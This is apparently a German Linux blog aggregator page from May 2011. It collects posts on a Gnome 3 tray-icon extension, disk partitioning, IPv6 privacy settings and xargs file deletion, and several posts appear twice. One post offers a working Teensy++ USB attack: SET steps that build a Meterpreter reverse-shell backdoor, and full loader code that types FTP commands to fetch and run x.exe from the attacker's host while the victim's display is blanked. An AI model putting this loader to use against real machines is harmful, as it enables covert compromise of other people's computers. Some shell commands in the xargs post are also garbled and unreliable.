PDF-Datei dieses Artikels erzeugen

Ähnliche Artikel

Das neue Benachrichtigungssystem von Gnome 3 ist schön, allerdings stört mich, dass die Nachrichten sich mit den Programm-Trayicons der Programme in der “Notification Area” rechts unten vermischen. Mitlerweile habe ich eine Möglichkeit gefunden, einzelne Trayicons - wie noch bei Gnome 2 - auf die obere Leiste zu verschieben.

Trayicons verschieben

Um die Tray-Icons von einzelnen Programmen auf die obere Leiste zu verschieben, kann man sich eine kleine Gnome Shell-Erweiterung erstellen. Wie schonmal angemerkt, basiert die Oberfläche von Gnome 3 zum Großteil auf Javascript und die Möglichkeiten der Erweiterung sind daher sehr vielfältig. Erstellen kann man neue Erweiterungen sehr einfach mit dem gnome-shell-extension-tool:

gnome-shell-extension-tool --create-extension

Dort kann dann ein beliebiger Name und eine Beschreibung eingegeben, sowie eine eindeutige Extension-ID vergeben werden. Danach öffnet sich direkt ein Editor mit dem eigentlichen Erweiterungscode in der Datei extension.js. (falls nicht, befindet sich die extension.js unter dem Ordner /home//.local/share/gnome-shell/extensions/)

In unserer recht simplen Erweiterung können wir dann diejenigen Programme angeben, deren Tray Icons auf dem Oberen Panel erscheinen sollen:

const Panel = imports.ui.panel;
const StatusIconDispatcher = imports.ui.statusIconDispatcher;


function main() {

	// add the notification(s) you want display on the top bar
	// - one per line. Use the english text string displayed when
	// hovering your mouse over the bottom right notification area

	StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['empathy'] = 'empathy';
	StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['dropbox'] = 'dropbox';
	StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['clementine'] = 'clementine';
	StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['radiotray'] = 'radiotray';
	StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['shutter'] = 'shutter';
	StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['keepassx'] = 'keepassx';
	StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['truecrypt'] = 'truecrypt';
	StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['vlc'] = 'vlc';
 
}

Der richtige Programname/die richtige Bezeichnung sieht man vorher beim Draufzeigen auf die TrayIcons in der unteren “Notification Area”. Wichtig ist, dass diese Bezeichnung in Kleinbuchstaben in der Erweiterung angegeben wird. Nach Abspeichern der Datei muss die Gnome Shell noch neu gestartet werden. Dies geht z.B. über das Tastenkürzel Alt + F2 und den Befehl ‘r’. (ohne Anführungszeichen)

Der Erweiterungs-Tipp stammt übrigens von http://blog.fpmurphy.com/, eine sehr gute Adressse, wenn man ein bisschen mehr über die Erstellung von Erweiterungen in Gnome 3 wissen möchte!

Bei Problemen mit den Erweiterung hilft häufig die Debugging-Konsole weiter. Diese erreicht man über Alt + F2 und den Befehl ‘lg’. Im Errors-Tab werden eventuell aufgetretene Fehler angezeigt, im Extensions-Tab stehen die erfolgreich geladenen Erweiterungen. Zum zwischenzeitlichen Deaktivieren einzelner Erweiterungen, kann gnome-tweaktool benutzt werden.

Weitere Erweiterungen

Mitlerweile gibt es auch bereits einige andere interessante Erweiterungen für Gnome 3/Gnome Shell. Leider gibt es (noch) keine zentrale/offizielle Website, auf der diese genauer vorgestellt werden.

Ich setze momentan folgende Erweiterungen ein:

  • Alternative Status Menu - fügt einen Shutdown-Button in das Systemmenü ein
  • noally - Entfernt den Accessibility-Eintrag im Panel
  • Weather Extension - fügt ein Wetter-Applet neben der Systemuhr im Panel ein.
  • Panel Favorites - zeigt die Dash-Favoriten auch links im Panel an (siehe Screenshot oben)
  • Für Laptops bietet sich die Erweiterung Presentation Mode an. Dort werden im "Presentation Mode" die Energie-Sparfunktionen (z.B. Bildschirmschoner) deaktiviert:

Das neue Benachrichtigungssystem von Gnome 3 ist schön, allerdings stört mich, dass die Nachrichten sich mit den Programm-Trayicons der Programme in der “Notification Area” rechts unten vermischen. Mitlerweile habe ich eine Möglichkeit gefunden, einzelne Trayicons – wie noch bei Gnome 2 – auf die obere Leiste zu verschieben.

Trayicons verschieben

Um die Tray-Icons von einzelnen Programmen auf die obere Leiste zu verschieben, kann man sich eine kleine Gnome Shell-Erweiterung erstellen. Wie schonmal angemerkt, basiert die Oberfläche von Gnome 3 zum Großteil auf Javascript und die Möglichkeiten der Erweiterung sind daher sehr vielfältig. Erstellen kann man neue Erweiterungen sehr einfach mit dem gnome-shell-extension-tool:

1
gnome-shell-extension-tool --create-extension

Dort kann dann ein beliebiger Name und eine Beschreibung eingegeben, sowie eine eindeutige Extension-ID vergeben werden. Danach öffnet sich direkt ein Editor mit dem eigentlichen Erweiterungscode in der Datei extension.js. (falls nicht, befindet sich die extension.js unter dem Ordner /home//.local/share/gnome-shell/extensions/)

In unserer recht simplen Erweiterung können wir dann diejenigen Programme angeben, deren Tray Icons auf dem Oberen Panel erscheinen sollen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const Panel = imports.ui.panel;
const StatusIconDispatcher = imports.ui.statusIconDispatcher;


function main() {

    // add the notification(s) you want display on the top bar
    // - one per line. Use the english text string displayed when
    // hovering your mouse over the bottom right notification area

    StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['empathy'] = 'empathy';
    StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['dropbox'] = 'dropbox';
    StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['clementine'] = 'clementine';
    StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['radiotray'] = 'radiotray';
    StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['shutter'] = 'shutter';
    StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['keepassx'] = 'keepassx';
    StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['truecrypt'] = 'truecrypt';
  StatusIconDispatcher.STANDARD_TRAY_ICON_IMPLEMENTATIONS['vlc'] = 'vlc';
 
}

Der richtige Programname/die richtige Bezeichnung sieht man vorher beim Draufzeigen auf die TrayIcons in der unteren “Notification Area”. Wichtig ist, dass diese Bezeichnung in Kleinbuchstaben in der Erweiterung angegeben wird. Nach Abspeichern der Datei muss die Gnome Shell noch neu gestartet werden. Dies geht z.B. über das Tastenkürzel Alt + F2 und den Befehl ‘r’. (ohne Anführungszeichen)

Der Erweiterungs-Tipp stammt übrigens von http://blog.fpmurphy.com/, eine sehr gute Adressse, wenn man ein bisschen mehr über die Erstellung von Erweiterungen in Gnome 3 wissen möchte!

Bei Problemen mit den Erweiterung hilft häufig die Debugging-Konsole weiter. Diese erreicht man über Alt + F2 und den Befehl ‘lg’. Im Errors-Tab werden eventuell aufgetretene Fehler angezeigt, im Extensions-Tab stehen die erfolgreich geladenen Erweiterungen. Zum zwischenzeitlichen Deaktivieren einzelner Erweiterungen, kann gnome-tweaktool benutzt werden.

Weitere Erweiterungen

Mitlerweile gibt es auch bereits einige andere interessante Erweiterungen für Gnome 3/Gnome Shell. Leider gibt es (noch) keine zentrale/offizielle Website, auf der diese genauer vorgestellt werden.
Ich setze momentan folgende Erweiterungen ein:

  • Alternative Status Menu – fügt einen Shutdown-Button in das Systemmenü ein
  • noally – Entfernt den Accessibility-Eintrag im Panel
  • Weather Extension – fügt ein Wetter-Applet neben der Systemuhr im Panel ein.
  • Panel Favorites – zeigt die Dash-Favoriten auch links im Panel an (siehe Screenshot oben)
  • Für Laptops bietet sich die Erweiterung Presentation Mode an. Dort werden im “Presentation Mode” die Energie-Sparfunktionen (z.B. Bildschirmschoner) deaktiviert:

26. Mai 2011

Die perfekte Partitionierung für einen Laptop mit Ubuntu findenby oddstock

Schon seit einigen Jahren versuche ich, die perfekte Partitionierung für meinen Laptop zu finden. Dabei habe ich mir auf dem Weg eine Menge Gedanken gemacht.

Neulich kam das Thema bei einem Gespräch mit Felix von Cirrus7 wieder auf. Ich bin bei 3 möglichen Partitionierungen angekommen:

  1. 1 Ext4-Partition + Swap
  2. 2 Ext4-Partitionen (/ und /home) + Swap
  3. LVM + Ext4-Partition (für /boot) + Swap

1 Ext4-Partition + Swap

Die simpelste Form der Partitionierung, sie ist Standard bei Ubuntu und meines Wissens auch in den meisten anderen Linux-Distributionen. (Gibt es überhaupt eine Distribution die eine andere Partionierung bei der Installation anlegt?) Man muss sich bei der Installation um nix kümmern, Ubuntu macht, was es machen soll und gut.

Vorteile

  • erfordert keine Handarbeit bei der Installation
  • es wird kein Plattenplatz verschwendet
  • der Ubuntu-Installer kann damit umgehen

Nachteile

  • sehr unflexibel
  • bei der Neuinstallation gehen alle Daten flöten

2 Ext4-Partitionen (/ und /home) + Swap

Bei dieser Partitionierung werden die System-Dateien und die Dateien der Benutzer (außer root) voneinander getrennt. Das hat vor allem für Viel-Installierer den Vorteil, dass sie eine Neues Ubuntu oder auch anderes Linux installieren können, ohne dass die Daten der Benutzer gelöscht werden.

Vorteile

  • Benutzer-Daten bleiben auch nach Neuinstallation erhalten

Nachteile

  • es wird evtl. Platz verschwendet
  • die Partitionen müssen während der Installation von Hand angelegt werden

LVM + Ext4-Partition (für /boot) + Swap

Bei einem LVM wird eine logische Schicht über die existerinden Festplatten gezogen. So kann man mehrere Festplatten zu einer Partition verbinden und die Partitionen flexibel anpassen. Wenn man z.B. mehrere Betriebssysteme zum testen installieren will, die man später aber platt macht, kann sich ein LVM anbieten. Zusätzlich muss man noch eine Boot-Partition zum Starten einrichten. Fairerweise muss man sagen, LVM ist vor allem für Server gedacht.

Vorteile

  • super flexibel
  • man kann damit schon auch mal ein wenig angeben :)

Nachteile

  • für Anfänger völlig ungeeignet
  • die Partitionen müssen in der Konsole angelegt werden - d.h. keine Installation mit grafischem Installer
  • auch Änderungen an den Partitionen müssen in der Konsole angelegt werden

Ich selbst verwende 2 Ext4-Partitionen + Swap, weil ich recht häufig mal ein neues System installiere. Ingesamt bin ich aber mittlerweile wieder der Meinung: Keep it simple! - deswegen würde ich allgemein 1 Ext4-Partition + Swap empfehlen; speziell wenn man Ubuntu nur benutzt und nicht damit herumspielt.

Wie haltet ihr es? Welche Form der Partitionierung benutzt ihr? Was würdet ihr noch ergänzen?

Warum ist Ubuntu besser als X - Blogparade

 

Am 11.03.2011 hatte ich hier im Blog ja eine Blogparade zum Thema: Warum ist Ubuntu besser als X?

Mir ging es bei der Frage darum, warum ihr Ubuntu benutzt und nicht ein anderes Betriebssystem wie Windows, OS X oder Fedora? Ich wollte dabei aber eben auch ein paar konkrete Argumente hören, was denn genau besser ist als bei anderen Betriebssystemen. Häufig ist die Wahl des Betriebssystems ja nur noch eine Glaubensfrage – genau davon wollte ich weg.

Auf den Aufruf zur Blogparade gab es drei Antworten, für die ich mich herzlich bedanken möchte und die ich im Folgenden noch kurz zusammenfasse:

  1. Ubuntu macht Werbung von Gregor Fröhlich

    Gregor verweist in seinem Blog-Artikel auf mehrere Werbeclips für Ubuntu, die die Vorteile von Ubuntu herausstellen. Erwähnt werden die kürzere Startzeit, das komplettere Softwarepaket und die höhere Sicherheit, weil das System virenfrei ist.

  2. Warum ich Ubuntu benutze von Picomol

    Bei Picomol geht es nicht um einen Vergleich von Ubuntu zu einem anderen Betriebssystem, sondern warum er Ubuntu benutzt. Letztlich ist die Wahl des Betriebssystems etwas Individuelles.

    Seine Gründe für Ubuntu sind:

    • die virtuellen Arbeitsflächen
    • man kann jederzeit einen LAMP-Stack aufsetzen
    • man ist bei Ubuntu ganz nah an der Entwicklung dran (Stichwort: Spielzeug)
    • mann kann Ubuntu anpassen, wie man es will, und
    • letztlich der freie Gedanken von Ubuntu und Open-Source
  3. Why Choose Ubuntu von Martin Gebhardt

    Martin arbeitet als Webdesigner und Sysadmin, deswegen ist für ihn ein System wichtig, dass unkompliziert und zuverlässig arbeitet, ein Office und einen schnellen Browser besitzt.

    Für Martin sind es die Kleinigkeiten, die Ubuntu besser als z.B. Windows 7 machen:

    • So ist schon ein guter Editor installiert,

    • auch das Kopieren von Dateien auf den Webserver geht mit Bordmitteln und

    • als Browser ist Firefox installiert.

     

    Falls man noch Software extra braucht, kann man sie mit dem Software-Center ganz einfach nachinstallieren. Schlussendlich spart Ubuntu einem Webworker einfach Zeit.

The post Auf der Suche nach der perfekten Partitionierung appeared first on Rockiger.

In einem Artikel auf heise.de bin ich auf die Problematik der „fehlenden“ Privatsphäre, welche die Aktvierung von IPV6 mit sich bringt, aufmerksam geworden.

Kurz zusammengefasst ist die Problemstellung folgende:
Wird bei aktivierter automatischer Konfiguration der IPV6-Adresse, verfahrensbedingt die MAC-Adresse in die globale IPV6-Adresse aufgenommen. Hierdurch kann man eindeutig im Netz identifiziert werden.

So ganz blick ich das Verfahren noch nicht, ich muss mir den Artikel noch 10 mal durchlesen ;)

Dieses „Feature“ ist standardmäßig bei den Linux Distributionen aktiviert, lt. dem Heise-Artikel können unter Debian,Ubuntu und Fedora die sog. Privacy Extensions wie folgt manuell eingeschalten werden. Dadurch wird die IPV6-Adresse anhand von zufälligen Daten generiert:

Dazu in der Datei /etc/sysctl.conf für jede! Netzwerkkarte einen Eintrag mit der Zeile net.ipv6.conf.NETZWERKKARE.use_tempaddr = 2 einfügen.

Das sieht dann z. B. so für Ethernet aus:

net.ipv6.conf.eth0.use_tempaddr = 2

und für Wlan:

net.ipv6.conf.wlan0.use_tempaddr = 2

Oder man setzt den Wert über die Shell als Root mittels:

sysctl net.ipv6.conf.wlan0.use_tempaddr=2
Die genaue Bezeichnung seiner Netzwerkkarten findet man in der Datei /etc/network/interfaces

Update:
Bei Nutzern des Networkmanagers ist die interfaces leer, hier kann man sich beispielsweise mit den Kommandos

ifconfig -> Ethernet
iwconfig -> Wireless

behelfen

Bei Ubuntu muss man unter /etc/sysctl.conf noch zusätzlich zu o. g. Zeilen die Zeile net.ipv6.conf.default.use_tempaddr=2 eintragen

Auf jeden Fall sollte man sich den Artikel auf heise.de zu Gemüte führen, dort wird das IPV6-Verfahren ausführlich erklärt und zusätzlich auf alle gängigen Betriebssystemen eingegangen (Linux, Windows, Mac OSX, Android und iOS).


Warzone 2100 lässt sich mit meiner Konfiguration nicht auf einem 2-Bildschirm System spielen. Dort funktioniert leider auch dieser Trick nicht. Da man die Auflösung für einen Bildschirm auch nicht im Spiel einstellen konnte war ein Blick in die Konfigurationsdatei nötig. Diese befindet sich unter ~/.warzone2100-2.2/config.

Dort kann man die Auflösung im Fenstermodus dann so einstellen, das sie sich nur über einen Bildschirm erstreckt. Allerdings bedient sich das Interface dann leider ab und an etwas hakelig.

Weitere Informationen gibt es unter:
http://wz2100.net/
http://de.wikipedia.org/wiki/Warzone_2100

Mit einem bestimmten Problem habe ich mich in letzter Zeit herumgeärgert: Ich möchte einen Haufen Dateien deren Namen über den Standardeingabekanal der Bash hereingeflogen kommen mit einem Befehl löschen. Natürlich könnte ich jede einzelne Datei angeben. Diese Methode wird aber sehr aufwändig wenn ich alle Dateien löschen möchte, deren Namen nicht in der Liste auftauchen.

Achtung, dank mehrerer Kommentare habe ich gelesen, dass ls hier die falsche Wahl ist. Eine bessere Alternative scheint find zu sein.

Anwendungsbeispiel

Ich habe mehrere ähnliche Dateien in meinem Directory. Diese werden automatisiert bearbeitet und das Ergebnis jeweils in einer Datei mit dem Zusatz Clean gespeichert. Nun interessieren mich die ursprünglichen Dateien nicht mehr und ich möchte sie ebenso automatisiert löschen. (Nein, ein Ersetzen der Urprungsdateien gleich beim Bearbeiten fällt leider aus technischen Gründen aus.) Ein kurzes ls gibt uns z.B. folgende Liste aus:

taach@prompt:~/test$ ls
Datei 1 Clean.txt
Datei 1.txt
Datei 2 Clean.txt
Datei 2.txt
Datei 3 Clean.txt
Datei 3.txt
Datei 4 Clean.txt
Datei 4.txt
Datei 5 Clean.txt
Datei 5.txt

Zum Glück stellt ls mit --ignore bereits eine Möglichkeit Dateinamen zu ignorieren die bestimmte Muster enthalten:

taach@prompt:~/test$ ls –ignore=*Clean.txt
Datei 1.txt
Datei 2.txt
Datei 3.txt
Datei 4.txt
Datei 5.txt

Diese Variante ist jedoch Case sensitive. Wenn das Muster also in verschiedener Groß-/Kleinschreibung vorliegt, empfiehlt es sich stattdessen grep einzusetzen:

taach@prompt:~/test$ ls | grep -iv Clean
Datei 1.txt
Datei 2.txt
Datei 3.txt
Datei 4.txt
Datei 5.txt

Die Option -i von grep schaltet die Case sensitivity aus und -v negiert die Auswahl. In diesem Fall werden also alle Zeilen entfernt in denen das Muster Clean oder clean vorkommt. An sich könnten wir nun diese Liste rm übergeben. Dafür verwenden wir xargs, welches notwendig ist, dass rm die Liste aus der Standardeingabe auch wirklich übergeben wird. Wenn die Dateinamen jedoch, wie in diesem Fall, Leerzeichen enthalten bringt uns rm diese Fehlermeldung:

taach@prompt:~/test$ ls –ignore=*Clean.txt | xargs rm
rm: Entfernen von „Datei“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „01.txt“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „Datei“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „02.txt“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „Datei“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „03.txt“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „Datei“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „04.txt“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „Datei“ nicht möglich: Datei oder Verzeichnis nicht gefunden
rm: Entfernen von „05.txt“ nicht möglich: Datei oder Verzeichnis nicht gefunden

Das passiert deswegen, weil die Leerzeichen ungeschützt vorliegen und die Bash, bevor die Liste nun endgültig rm übergeben wird, diese als Ende eines Dateinamens interpretiert. Wir müssen also xargs sagen, dass die Leerzeichen maskiert bleiben müssen ('\ ' statt ' '), damit die Bash sie ignoriert. Dazu gibt es die Option -0 welche jegliche Maskierungen aufrecht erhält:

taach@prompt:~/test$ ls –ignore=*Clean.txt | xargs -0 rm
rm: Entfernen von „Datei 01.txt\nDatei 02.txt\nDatei 03.txt\nDatei 04.txt\nDatei 05.txt\n“ nicht möglich: Datei oder Verzeichnis nicht gefunden

Verdammt, was ist denn jetzt schon wieder los? Ah, zwischen den Dateinamen ist plötzlich ein Zeichen aufgetaucht: '\n' Dieses Zeichen, auch Endline genannt, kennzeichnet einen Zeilenumbruch. Da wir xargs gesagt haben, dass alle Maskierungen aufrecht erhalten bleiben sollen, liegt nun auch der Zeilenumbruch als Reintext vor. Und da das Zeichen nun einfacher Text ist wird die ganze lange Wurst wie ein einziger Dateiname behandelt. Nun müssen wir xargs also noch mitteilen, wo die Dateinamen enden. Dazu verwenden die Option -d mit dem Parameter '\n':

taach@prompt:~/test$ ls –ignore=*Clean.txt | xargs -0 -d ‘\n’ rm

und siehe da alle Dateien, mit Ausnahme derer mit Clean im Namen wurde gelöscht:

taach@prompt:~/test$ ls
Datei 1 Clean.txt
Datei 2 Clean.txt
Datei 3 Clean.txt
Datei 4 Clean.txt
Datei 5 Clean.txt

Das ganze geht natürlich auch so:

taach@prompt:~/test$ rm `ls –ignore=*Clean.txt | xargs -0 -d ‘\n’`

bzw. im Bash-Style:

taach@prompt:~/test$ rm $(ls –ignore=*Clean.txt | xargs -0 -d ‘\n’)

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.

=-=-=-=-=
Powered by Blogilo


Einsortiert unter:Bash, GNU/Linux, Ubuntuusers

25. Mai 2011

Da die Linuxwelt recht schnelllebig ist und sich letzter Zeit gerade auf dem Desktop massive Änderungen ergeben haben, Stichwort KDE4, Gnome 3 und Unity, möchte ich gerne wissen wer welches Environment auf seinem/n Desktop(s) hat. Dazu eine kleine Umfrage:

View This Poll

Ich habe derzeit auf dem Netbook LXDE (Lubuntu) wegen dem geringen Ressourcenverbrauch laufen und auf dem Desktop Debian Testing mit Gnome 2.30.

Wenn ihr wollt könnt ihr einen Kommentar hinterlassen warum ihr Desktop XY benutzt oder was Euch zum Umstieg bewogen hat. Aber bitte sachlich bleiben, d. h. argumentieren, siehe Erörterung/Argumentation. ;)
Trollversuche werden kommentarlos gelöscht.

Auf die Antworten / Umfrageergebnis bin ich schon gespannt.

Planetenleser müssen evtl. auf den Artikel klicken, damit die Umfrage erscheint.


24. Mai 2011

Demnächst steht die Renovierung meines Rechners an, derzeit läuft ein Ubuntu 10.04 darauf. Wie ich schon verkündet habe, und nach dem was ich bisher so von Unity und Co. gesehen habe, ist meine Zeit mit Ubuntu demnächst dann wohl rum.

Ich habe mir Unity angeschaut und es überzeugt mich nicht. Aus mehreren Gründen. Weil versucht wird, die Mac-Oberflächte mit dem Global Menu nachzubauen, zum Beispiel. Ebensowenig sieht Gnome3 aus, als würde es mir gefallen können.

Die Suche nach Alternativen wird mittlerweile schwerer, was mir eventuell gefallen könnte, ist Crunchbang oder direkt Debian 6. Schlüssig bin ich mir da allerdings noch nicht, vor allem da mein Desktop-Rechner nach wie vor “familienkompatibel” bleiben sollte, sonst müsste ich einen zweiten Rechner hinstellen und eigentlich will ich das eher weniger.

Aurora wird nicht fertig, Mint ist noch scheinbar noch unentschieden und testet verschiedende Window Manager / Desktopvarianten. Ich werde mir dann demnächst mal Crunchbang angucken, sowohl in der OpenBox als auch in der Xfce-Variante. Reduktion ist ja manchmal auch nicht das schlechteste.

Ich habe in einer Veröffentlichung im Security-Magazin hakin9.org mal über das Framework SET (Social Engeineering Toolkit) geschrieben. Darin gab es seither immer ein Punkt, den ich nicht nutzen konnte. So lässt sich automatisch eine Attacke aufbauen, welche über den Teensy++ eine Backdoor vom Angreifer nachlädt und dann ausführt.

Alles was es dazu braucht, ist ein teensy++ 2.0, ein Linux (ich verwende BT5), SET, Metasploit, Teensyduino und ein Opfer (dies bist natürlich auch du). Eine feine Sache also :)

Nur wenn ich ehrlich bin, war ich von der Umsetzung durch SET mehr als enttäuscht! Die Attacke basiert auf einem Stück Code das versucht superintelligent zu sein, und dadurch alles versaut… So dauert das Laden der Backdoor zwar gerade mal ein paar Sekunden, jedoch, um überhaupt etwas laden zu können, wird zuerst 10 Sekunden lang eine Datei geschrieben, was ja auch nicht unbedingt das Gelbe vom Ei ist. Aber was in meinen Augen überhaupt nicht geht, der Code funktioniert nicht immer und das nur unter dem Englischen Tastaturlayout – alles andere als ausgereift also!

Also habe ich mich an die Umsetzung einer eigenen Lösung gemacht. Wer SET und Metasploit nicht selbst installieren will, der nimmt einfach die neuste Version von Backtrack, da ist alles bereits integriert.

Vorweg kann ich sagen, meine Lösung zum Laden der Backdoor basiert auf FTP. Ich bin mir durchaus bewusst, dass dieses Protokoll öfters gesperrt ist von LAN ins WAN bei grösseren Firmen, jedoch wenn ich über den Teensy++ angreife, dann brauche ich ja auch physikalischen Zugriff zur Maschine zum Einstecken, wodurch es dann sowieso meistens für Angriffe innerhalb des LAN genutzt wird.
Der Vorteil aber, da ftp als Standard auf einer Windows-Maschine schon vorhanden ist, muss ich nicht zuerst noch ein ganzes Downloadscript aufbauen, sondern kann direkt auf den FTP-Client der Konsole zurückgreifen, wodurch die Backdoor innert zwei bis drei Sekunden geladen und ausgeführt ist!

Damit das aber auch klappt, musste ich das angreifende System erst vorbereiten. Für den FTP-Server habe ich auf vsftpd zurückgegriffen. Die Konfiguration musste ich dabei nur minimal anpassen:

anonymous_enable=YES
anon_root=/var/www/

local_enable=NO
write_enable=NO

local_umask=022
dirmessage_enable=YES
xferlog_enable=YES
connect_from_port_20=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES
chroot_local_user=YES
chroot_list_enable=NO
listen=YES

pam_service_name=vsftpd
userlist_enable=NO
userlist_deny=NO
userlist_file=/etc/vsftpd/user_list
tcp_wrappers=YES

Wird nun der Dienst gestartet, so kann ich über den Anonymous-Benutzer von meinem Opfer (natürlich Windows ;) ) auf /var/www des Angreifers zugreifen:

ftp -A 192.168.0.20

Nun verwende ich SET, um die benötigte Backdoor zu generieren. Dazu einfach den folgenden Ablauf einhalten:

  • SET starten
  • 6 für Teensy USB HID Attack Vector
  • 2 für WSCRIPT HTTP GET MSF Payload
  • yes um einen Payload zu kreieren
  • 2 für meinen Lieblingspayload Windows Reverse_TCP Meterpreter ;)
  • ENTER für die Standard Backdoored Executable
  • ENTER für den default Port

Nun wird die Backdoor x.exe generiert und unter /var/www/ verfügbar gemacht. Weiter wurde auch noch eine Datei reports/teensy.pde erstellt, aber wie schon beschrieben, ist dieser Loader einfach Schrott. Deshalb habe ich auch meinen eigenen entwickelt:

#include <phukdlib.h>

void setup() {
  delay(10000);

  CommandAtRunBarMSWIN("displayswitch.exe /external"); //nur unter Windows 7
  delay(500);
}

void loop () {
  CommandAtRunBarMSWIN("cmd /k");
  delay(500);
  Keyboard.print("ftp -A 192.168.0.20");
  PressAndRelease(KEY_ENTER, 1);
  Keyboard.print("GET x.exe");
  PressAndRelease(KEY_ENTER, 1);
  delay(500);
  Keyboard.print("quit");
  PressAndRelease(KEY_ENTER, 1);
  Keyboard.print("exit");
  PressAndRelease(KEY_ENTER, 1);

  CommandAtRunBarMSWIN("%userprofile%/x.exe");

  delay(3600000);
}

Alles was darin angepasst werden muss, ist die IP-Adresse zum angreifenden System. Und gegebenen Falls muss Zeile 6 entfernt werden. Diese funktioniert leider nur unter Windows 7 und bringt die Maschine dazu auf einen externen Monitor zu wechseln. Und während Windows für etwa 10 Sekunden versucht, diesen zu finden, wird das aktuelle Display deaktiviert, weshalb all die aufblitzenden Fenster und Terminals noch weniger auffallen.

Diese Datei wird nun wie jede andere zuerst in eine .HEX-Datei kompiliert und dann auf den teensy++ geflashed:

Wird der teensy++ nun auf einer Maschine eingesteckt, so geht das Display aus und das nächste was das Opfer sieht ist eine Fehlermeldung:

Selbst ein geübterer Benutzer wird denken, er habe wohl aus Versehen eine Tastenkombination gedrückt. Was im Hintergrund passiert ist, das wird er nicht erkennen:

Da ich mein Loader nicht für mich behalten wollte, habe ich mit Dave Kennedy Kontakt aufgenommen und ihm meine Idee erklärt. Wie es scheint, ist er nicht so offen für fremde Vorschläge, weshalb alles endete mit: “I won’t add ftp to teensy”. Seis drum, dann wird es halt nur hier veröffentlicht :)


Das könnte dich auch interessieren:

  1. Der Alptraum für jeden Computer
  2. FTP Server mit User Restriction

23. Mai 2011

Eben kam mir die Idee in den Kopf ob man Unity mit Plasma nachbauen kann. Man nehme als Basis die Netbook Shell, füge einige Widgets hinzu und nach kurzer Zeit hat man schon etwas das grob wie Unity aussieht und sich in etwa auch so bedienen lässt. Nachbauen ist einfach, aber ein schlüssiges Konzept zu erdenken ist eine Aufgabe mit der man ewig zubringen kann. In Anbetracht der kurzen Zeit die ich hineingesteckt habe funktioniert schon ziemlich viel. Ein tolles Beispiel dafür wie flexibel Plasma doch ist.

Wildes Rumgefrickel mit Plasma

Wildes Rumgefrickel mit Plasma

Einige Kleinigkeiten fehlen noch (z.B. ein besseres Dock als Smooth Tasks). Mal schauen was sich da noch so findet.

Edit: meine Version stinkt, schaut euch lieber das hier an. Wurde auf dem UDS wohl gebaut.

Warum ist Ubuntu besser als X - Blogparade

 

Am 11.03.2011 hatte ich hier im Blog ja eine Blogparade zum Thema: Warum ist Ubuntu besser als X?

Mir ging es bei der Frage darum, warum ihr Ubuntu benutzt und nicht ein anderes Betriebssystem wie Windows, OS X oder Fedora? Ich wollte dabei aber eben auch ein paar konkrete Argumente hören, was denn genau besser ist als bei anderen Betriebssystemen. Häufig ist die Wahl des Betriebssystems ja nur noch eine Glaubensfrage - genau davon wollte ich weg.

Auf den Aufruf zur Blogparade gab es drei Antworten, für die ich mich herzlich bedanken möchte und die ich im Folgenden noch kurz zusammenfasse:

  1. Ubuntu macht Werbung von Gregor Fröhlich

    Gregor verweist in seinem Blog-Artikel auf mehrere Werbeclips für Ubuntu, die die Vorteile von Ubuntu herausstellen. Erwähnt werden die kürzere Startzeit, das komplettere Softwarepaket und die höhere Sicherheit, weil das System virenfrei ist.

  2. Warum ich Ubuntu benutze von Picomol

    Bei Picomol geht es nicht um einen Vergleich von Ubuntu zu einem anderen Betriebssystem, sondern warum er Ubuntu benutzt. Letztlich ist die Wahl des Betriebssystems etwas Individuelles.

    Seine Gründe für Ubuntu sind:

    • die virtuellen Arbeitsflächen
    • man kann jederzeit einen LAMP-Stack aufsetzen
    • man ist bei Ubuntu ganz nah an der Entwicklung dran (Stichwort: Spielzeug)
    • mann kann Ubuntu anpassen, wie man es will, und
    • letztlich der freie Gedanken von Ubuntu und Open-Source
  3. Why Choose Ubuntu von Martin Gebhardt

    Martin arbeitet als Webdesigner und Sysadmin, deswegen ist für ihn ein System wichtig, dass unkompliziert und zuverlässig arbeitet, ein Office und einen schnellen Browser besitzt.

    Für Martin sind es die Kleinigkeiten, die Ubuntu besser als z.B. Windows 7 machen:

    • So ist schon ein guter Editor installiert,

    • auch das Kopieren von Dateien auf den Webserver geht mit Bordmitteln und

    • als Browser ist Firefox installiert.

     

    Falls man noch Software extra braucht, kann man sie mit dem Software-Center ganz einfach nachinstallieren. Schlussendlich spart Ubuntu einem Webworker einfach Zeit.